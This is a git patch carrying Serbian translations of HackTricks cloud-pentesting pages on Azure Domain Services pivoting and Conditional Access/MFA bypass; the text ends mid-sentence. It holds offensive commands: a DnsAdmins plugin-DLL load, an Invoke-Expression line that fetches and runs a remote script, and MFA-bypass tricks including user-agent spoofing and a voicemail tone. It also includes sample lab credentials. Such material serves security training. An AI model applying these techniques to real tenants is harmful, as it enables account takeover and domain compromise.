From aeebfcc0ac063965a516f29242ee999e2c752ae8 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 13:54:29 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az --- .github/pull_request_template.md | 10 +- src/banners/hacktricks-training.md | 12 +- .../az-domain-services.md | 32 ++--- ...-conditional-access-policies-mfa-bypass.md | 110 +++++++++--------- .../gcp-apigee-post-exploitation.md | 68 +++++++++++ 5 files changed, 150 insertions(+), 82 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 0e0ac2989..28965d636 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,9 +1,9 @@ -## Attribution -Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da osigurate da uploadujete samo sadržaj koji posedujete ili za koji imate dozvolu da ga delite od originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju modifikujete ili oboje). Vaše poštovanje prava intelektualne svojine doprinosi pouzdanoj i legalnoj sredini za deljenje za sve. +## Priznanje +Cenimo vaše znanje i podstičemo vas da delite sadržaj. Molimo vas da se uverite da otpremate samo sadržaj koji posedujete ili za koji imate dozvolu originalnog autora (dodajući referencu na autora u dodatom tekstu ili na kraju stranice koju menjate, ili oboje). Poštovanje prava intelektualne svojine doprinosi pouzdanom i legalnom okruženju za deljenje za sve. ## HackTricks Training -Ako dodajete kako biste mogli da prođete ispit za [ARTE certification](https://training.hacktricks.xyz/courses/arte) sa 2 zastavice umesto 3, potrebno je da nazovete PR `arte-`. +Ako šaljete PR kako biste položili [ARTE certification](https://hacktricks-training.com/courses/arte) ispit sa 2 flags umesto 3, potrebno je da nazovete PR `arte-`, `grte-` ili `azrte-`, u zavisnosti od sertifikata koji polažete. -Takođe, zapamtite da ispravke gramatike/sintakse neće biti prihvaćene za smanjenje zastavica ispita. +Takođe, imajte na umu da ispravke gramatike/sintakse neće biti prihvaćene za smanjenje broja flags na ispitu. -U svakom slučaju, hvala vam što doprinosite HackTricks! +U svakom slučaju, hvala što doprinosite HackTricks! diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index ef4de244d..8035174d4 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,14 +1,14 @@ > [!TIP] -> Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -> Učite i vežbajte Azure Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte) +> Nauči & vežbaj AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)\ +> Nauči & vežbaj GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)\ +> Nauči & vežbaj Az Hacking: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte) > >
> > Podržite HackTricks > -> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! -> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +> - Pogledajte [**subscription plans**](https://github.com/sponsors/carlospolop)! +> - **Pridružite se** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **pratite** nas na **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Podelite hacking tricks slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > >
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index 4bcddad67..4bace3179 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -2,42 +2,42 @@ {{#include ../../../banners/hacktricks-training.md}} -## Domain Services +## Usluge domena -Microsoft Entra Domain Services omogućava postavljanje Active Directory-a u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima). +Microsoft Entra Domain Services omogućava postavljanje Active Directory-ja u Azure bez potrebe za upravljanjem Domain Controllers (u stvari, čak i nemate pristup njima). -Njegov glavni cilj je da vam omogući pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili gde ne želite da pretrage direktorijuma uvek idu nazad na on-premises AD DS okruženje. +Njegov glavni cilj je omogućiti pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili tamo gde ne želite da upiti ka direktorijumu uvek idu nazad na on-premises AD DS okruženje. -Napomena: da biste sinhronizovali korisnike generisane u Entra ID (i ne sinhronizovane iz drugih aktivnih direktorijuma) sa AD domen servisom, potrebno je da **promenite lozinku korisnika** na novu kako bi mogla biti sinhronizovana sa novim AD. Zapravo, korisnik se ne sinhronizuje iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni. +Napomena da, da biste sinhronizovali korisnike kreirane u Entra ID (a koji nisu sinhronizovani iz drugih Active Directory-ja) u AD domain service, morate **promeniti lozinku korisnika** na novu kako bi mogla biti sinhronizovana sa novim AD-om. Zapravo, korisnik nije sinhronizovan iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni. > [!WARNING] -> Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći da je potpuno upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih **sinhronizovanjem korisnika iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo cloud korisnike (korisnike kreirane u Entra ID), ili čak **da ih dodatno filtrirate**. +> Čak i ako kreirate novu Active Directory domenu, nećete moći potpuno da je upravljate (osim ako ne iskoristite neke miskonfiguracije), što znači da podrazumevano, na primer, ne možete direktno da kreirate korisnike u AD-u. Kreirate ih tako što **sinhronizujete korisnike iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo cloud korisnike (korisnike kreirane u Entra ID), ili čak da ih **više filtrirate**. > [!NOTE] -> Uopšteno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je i dalje zanimljivo znati kako ga kompromitovati. +> Generalno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je ipak interesantno znati kako je kompromitovati. ### Pivoting -Članovi generisane **`AAD DC Administrators`** grupe imaju lokalne administratorske dozvole na VM-ovima koji su pridruženi upravljanoj domeni (ali ne i na domain controllers) jer su dodati u lokalnu grupu administratora. Članovi ove grupe takođe mogu koristiti **Remote Desktop za daljinsko povezivanje na domain-joined VM-ove**, i takođe su članovi grupa: +Članovima generisane grupe **`AAD DC Administrators`** dodeljuju se lokalna administratorska prava na VM-ovima koji su domain-joined u managed domain (ali ne na domain controller-ima), jer su dodati u lokalnu administratorsku grupu. Članovi ove grupe takođe mogu da koriste **Remote Desktop** za daljinsko povezivanje na domain-joined VM-ove, i takođe su članovi sledećih grupa: -- **`Denied RODC Password Replication Group`**: Ovo je grupa koja specificira korisnike i grupe čije lozinke ne mogu biti keširane na RODC-ima (Read-Only Domain Controllers). -- **`Group Policy Creators Owners`**: Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu primeniti grupne politike na korisnike ili grupe ili uređivati postojeće GPO-ove, tako da nije toliko zanimljivo u ovom okruženju. -- **`DnsAdmins`**: Ova grupa omogućava upravljanje DNS podešavanjima i zloupotrebljena je u prošlosti da [poveća privilegije i kompromituje domen](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), međutim nakon testiranja napada u ovom okruženju provereno je da je ranjivost zakrpljena: +- **`Denied RODC Password Replication Group`**: Ova grupa specificira korisnike i grupe čije lozinke ne mogu biti keširane na RODC-ima (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu da primenjuju group policies na korisnike ili grupe niti da uređuju postojeće GPO-ove, tako da nije toliko interesantna u ovom okruženju. +- **`DnsAdmins`**: Ova grupa omogućava upravljanje DNS podešavanjima i bila je zloupotrebljena u prošlosti za [eskalaciju privilegija i kompromitovanje domena](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), međutim nakon testiranja napada u ovom okruženju provereno je da je ranjivost zakrpljena: ```text -dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll +dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa **`AAD DC Administrators`** postavlja kao član prethodnih grupa, a takođe GPO **`AADDC Computers GPO`** dodaje kao lokalne administratore sve članove domena grupe **`AAD DC Administrators`**. +Imajte na umu da, kako bi se dodelila ova ovlašćenja, unutar AD-a grupa **`AAD DC Administrators`** se postavlja kao član prethodnih grupa, a takođe GPO **`AADDC Computers GPO`** dodaje sve članove domenske grupe **`AAD DC Administrators`** kao Local Administrators. -Prebacivanje sa Entra ID na AD kreiran sa Domain Services je jednostavno, samo dodajte korisnika u grupu **`AAD DC Administrators`**, pristupite putem RDP-a bilo kojoj/svim mašinama u domenu i moći ćete da ukradete podatke i takođe **kompromitujete domen.** +Pivoting from Entra ID to an AD created with Domain Services je jednostavno: dovoljno je dodati korisnika u grupu **`AAD DC Administrators`**, pristupiti putem RDP-a bilo kojem/svim mašinama u domenu i moći ćete da ukradete podatke i takođe **kompromitujete domen.** -Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove pridružene, jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe **izvucite sve lozinke korisnika iz domena** i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure. +Međutim, pivoting from the domain to Entra ID nije tako lako pošto ništa iz domena nije sinhronizovano u Entra ID. Ipak, uvek check-ujte metadata svih VMs koji su pridruženi, jer njihove dodeljene managed identities mogu imati zanimljiva ovlašćenja. Takođe **dump all the users passwords from the domain** i pokušajte da ih crack-ujete da biste se potom prijavili u Entra ID / Azure. > [!NOTE] -> Napomena da su u prošlosti pronađene druge ranjivosti u ovom upravljanom AD-u koje su omogućile kompromitovanje DC-ova, [kao što je ova](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Napadač koji kompromituje DC mogao bi vrlo lako održati postojanost bez da Azure administratori primete ili čak budu u mogućnosti da je uklone. +> Napomena da su u prošlosti nađene i druge ranjivosti u ovom managed AD koje su omogućavale kompromitovanje DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Napadač koji kompromituje DC bi vrlo lako mogao održavati persistenciju bez da Azure admins primete ili čak budu u stanju da je uklone. ### Enumeracija ```bash @@ -59,7 +59,7 @@ az rest --method post \ # Get domain configuration az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" ## e.g. -az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true" # Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index dc63c6b7f..b6a5f8b49 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,16 +1,16 @@ -# Az - Politike uslovnog pristupa i MFA zaobilaženje +# Az - Conditional Access Policies & MFA Bypass {{#include ../../../../banners/hacktricks-training.md}} ## Osnovne informacije -Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih **uslova**. Ove politike pomažu organizacijama da osiguraju svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\ -Politike uslovnog pristupa u osnovi **definišu** **Ko** može pristupiti **Čemu** iz **Gde** i **Kako**. +Azure Conditional Access policies su pravila postavljena u Microsoft Azure da primenjuju kontrole pristupa Azure services i aplikacijama zasnovano na određenim **uslovima**. Ove politike pomažu organizacijama da zaštite svoje resurse primenom odgovarajućih kontrola pristupa u odgovarajućim okolnostima.\ +Conditional access policies u suštini definišu **Ko** može pristupiti **Šta**, **Odakle** i **Kako**. Evo nekoliko primera: -1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju. -2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema. +1. **Sign-In Risk Policy**: Ova politika može zahtevati višefaktorsku autentikaciju (MFA) kada se detektuje rizik prijave. Na primer, ako je ponašanje prijave korisnika neuobičajeno u odnosu na njegov uobičajeni obrazac, kao što je prijavljivanje iz druge zemlje, sistem može tražiti dodatnu autentikaciju. +2. **Device Compliance Policy**: Ova politika može ograničiti pristup Azure services samo na uređaje koji su u skladu sa bezbednosnim standardima organizacije. Na primer, pristup bi mogao biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koriste određenu verziju operativnog sistema. ## Enumeracija ```bash @@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net//policies?api-v # You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies" ``` -## Bypass-ovi politika uslovnog pristupa +## Conditional Acces Policies Bypasses -Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu izmeniti, omogućavajući zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe. +Moguće je da conditional access policy **proverava neke informacije koje se lako mogu izmeniti, omogućavajući zaobilaženje politike**. I, na primer, ako politika konfiguriše MFA, napadač će moći da je zaobiđe. -Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljne resurse** (kao što su sve cloud aplikacije). +Prilikom konfiguracije conditional access policy potrebno je odrediti **users** koji su obuhvaćeni i **target resources** (like all cloud apps). -Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku: +Takođe je potrebno konfigurisati **conditions** koje će **pokrenuti** politiku: -- **Mreža**: IP, IP opsezi i geografske lokacije -- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspevajući da se prijavi sa dozvoljene IP adrese -- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika -- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux -- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama -- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti” -- Da bi se zaobišao prijavljivanje sa neodabranom opcijom -- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj -- **Tokovi autentifikacije**: Opcije su “Tok kod uređaja” i “Prenos autentifikacije” -- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve +- **Network**: IP, IP ranges i geografske lokacije +- Može se zaobići korišćenjem VPN-a ili Proxy-a da se povežete iz dozvoljene zemlje ili pronalaskom načina za prijavu sa dozvoljene IP adrese +- **Microsoft risks**: User risk, Sign-in risk, Insider risk +- **Device platforms**: Any device ili odabrati Android, iOS, Windows phone, Windows, macOS, Linux +- Ako “Any device” nije izabrano ali su sve ostale opcije izabrane, moguće je to zaobići korišćenjem slučajnog user-agent-a koji nije povezan sa tim platformama +- **Client apps**: Opcije su “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” i “Other clients” +- Za zaobilaženje — logovanje koristeći opciju koja nije izabrana +- **Filter for devices**: Moguće je generisati pravilo vezano za korišćeni uređaj +- A**uthentication flows**: Opcije su “Device code flow” i “Authentication transfer” +- Ovo neće uticati na napadača osim ako ne pokuša da zloupotrebi neki od tih protokola u phishing pokušaju da pristupi nalogu žrtve -Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen… +Mogući **results** su: Block ili Grant access sa potencijalnim uslovima kao što su zahtev za MFA, uređaj da bude compliant… -### Platforme uređaja - Uslov uređaja +### Device Platforms - Device Condition -Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** pa je lako zaobići. Čak i **postavljanjem svih opcija da primoraju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu: +Moguće je postaviti uslov zasnovan na **device platform** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent**, pa je lako zaobići. Čak i ako **sve opcije zahtevaju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili block:
-Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne aktivira ovaj uslov.\ -Možete ručno promeniti user-agent u alatima za razvoj: +Dovoljno je da pregledač **pošalje nepoznat user-agent** (poput `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) da se ovaj uslov ne aktivira.\ +User agent možete promeniti **ručno** u developer tools:
-Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Ili koristite [ekstenziju za pregledač kao ovu](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Lokacije: Zemlje, IP opsezi - Uslov uređaja +### Locations: Countries, IP ranges - Device Condition -Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** kako bi zaobišao ove uslove. +Ako je ovo podešeno u conditional policy, napadač može jednostavno koristiti **VPN** iz **dozvoljene države** ili pokušati da pristupi sa **dozvoljene IP adrese** da bi zaobišao te uslove. -### Cloud aplikacije +### Cloud Apps -Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju** na primer MFA kada korisnik pokuša da pristupi **specifičnoj aplikaciji**: +Moguće je konfigurisati **conditional access policies da blokiraju ili prisile**, na primer, MFA kada korisnik pokuša da pristupi **specific app**:
-Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **pristupiti bilo kojoj aplikaciji**.\ -Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, čak će vam dati token ako bude uspešan. +Da biste pokušali da zaobiđete ovu zaštitu, treba da proverite da li možete da se prijavite u bilo koju aplikaciju.\ +Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **tens of application IDs hardcoded** i pokušaće da se uloguje u njih, obavestiće vas i čak dati token ako uspe. -Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je: +In order to **test specific application IDs in specific resources** you could also use a tool such as: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Pored toga, moguće je zaštititi metodu prijavljivanja (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) vrši neke provere kako bi pokušao da zaobiđe ove zaštite. +Štaviše, moguće je i zaštititi metodu prijave (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) vrši neke provere da pokuša i zaobići ove zaštite. -Alat [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) takođe može biti korišćen u slične svrhe, iako izgleda da nije održavan. +Alat [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) se takođe može koristiti za slične svrhe iako izgleda neodržavan. -Alat [**ROPCI**](https://github.com/wunderwuzzi23/ropci) takođe može biti korišćen za testiranje ovih zaštita i proveru da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz **whitebox** perspektive. Prvo morate preuzeti listu aplikacija koje su dozvoljene u tenant-u, a zatim će pokušati da se prijavi u njih. +Alat [**ROPCI**](https://github.com/wunderwuzzi23/ropci) se takođe može koristiti da testira ove zaštite i vidi da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz **whitebox** perspektive. Prvo treba da preuzmete listu Apps dozvoljenih u tenant, a zatim će pokušati da se prijavi u njih. -## Ostali Az MFA zaobilaženja +## Ostali Az MFA Bypasses -### Ton zvona +### Ring tone -Jedna Azure MFA opcija je da **primite poziv na konfigurisanom broju telefona** gde će biti zatraženo od korisnika da **pošalje znak `#`**. +Jedna Azure MFA opcija je da **primite poziv na konfigurisan broj telefona** gde će se od korisnika tražiti da **pošalje karakter `#`**. > [!CAUTION] -> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da konfiguriše kao poruku **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu. +> Pošto su karakteri samo **tonovi**, napadač bi mogao **kompromitovati** **poruku govorne pošte** na tom broju, podesiti kao poruku ton za **`#`**, i onda, prilikom zahteva za MFA, postarati se da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu. -### Usklađeni uređaji +### Compliant Devices -Politike često zahtevaju usklađeni uređaj ili MFA, tako da bi **napadač mogao da registruje usklađeni uređaj**, dobije **PRT** token i **na ovaj način zaobiđe MFA**. +Politike često zahtevaju compliant device ili MFA, pa **napadač može registrovati compliant device**, dobiti **PRT** token i na taj način **zaobići MFA**. -Počnite tako što ćete registrovati **usklađeni uređaj u Intune**, zatim **dobijte PRT** sa: +Počnite tako što ćete registrovati **compliant device u Intune**, zatim **preuzeti PRT** pomoću: ```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -Nađite više informacija o ovoj vrsti napada na sledećoj stranici: +Više informacija o ovoj vrsti napada potražite na sledećoj stranici: {{#ref}} ../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -112,29 +112,29 @@ Nađite više informacija o ovoj vrsti napada na sledećoj stranici: ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije. +Ovaj skript dobija neke korisničke kredencijale i proverava da li je moguće prijaviti se u određene aplikacije. -Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu na neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**. +Ovo je korisno da proverite da li za prijavu u neke aplikacije **nije potrebna MFA**, što biste kasnije mogli zloupotrebiti da **eskalirate privilegije**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Dobijte sve politike +Izvlači sve politike ```bash roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep je PowerShell skripta koja pokušava da **prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurisana pravila uslovnog pristupa i druge postavke višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na lokalni ADFS server ako je otkriven. +MFASweep je PowerShell skripta koja pokušava da **se prijavi na različite Microsoft servise koristeći prosleđeni set credentials i da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurisane conditional access policies i druga multi-factor authentication podešavanja, neki protokoli mogu ostati jednofaktorski. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na on-prem ADFS server ako je detektovan. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela. +Ovaj alat je pomogao да се идентификују MFA заобилажења и потом злоупотребе API-ja у више продукцијских AAD tenant-а, где су AAD корисници веровали да је MFA обавезна, али је аутентификација заснована на ROPC успела. > [!TIP] -> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste mogli da generišete listu aplikacija za brute-force. +> Potrebno je da imate dozvole za listanje svih aplikacija kako biste mogli generisati listu aplikacija za brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -143,29 +143,29 @@ Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim u zloupotrebi AP ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd. +Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Conditional Access Policies, testove za 2FA-enabled Microsoft portals, itd..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Testirajte svaki portal** da li je moguće **prijaviti se bez MFA**: +**Testirajte svaki portal** da li je moguće **login without MFA**: ```bash -$username = "conditional-access-app-user@azure.training.hacktricks.xyz" +$username = "conditional-access-app-user@azure.hacktricks-training.com" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -Zato što **Azure** **portal** **nije ograničen**, moguće je **prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena** prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup njemu: +Pošto **Azure** **portal** nije ograničen, moguće je **prikupiti token sa portal endpointa da bi se pristupilo bilo kojoj usluzi otkrivenoj prethodnim izvršavanjem**. U ovom slučaju je identifikovan Sharepoint, i traži se token za pristup njemu: ```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama 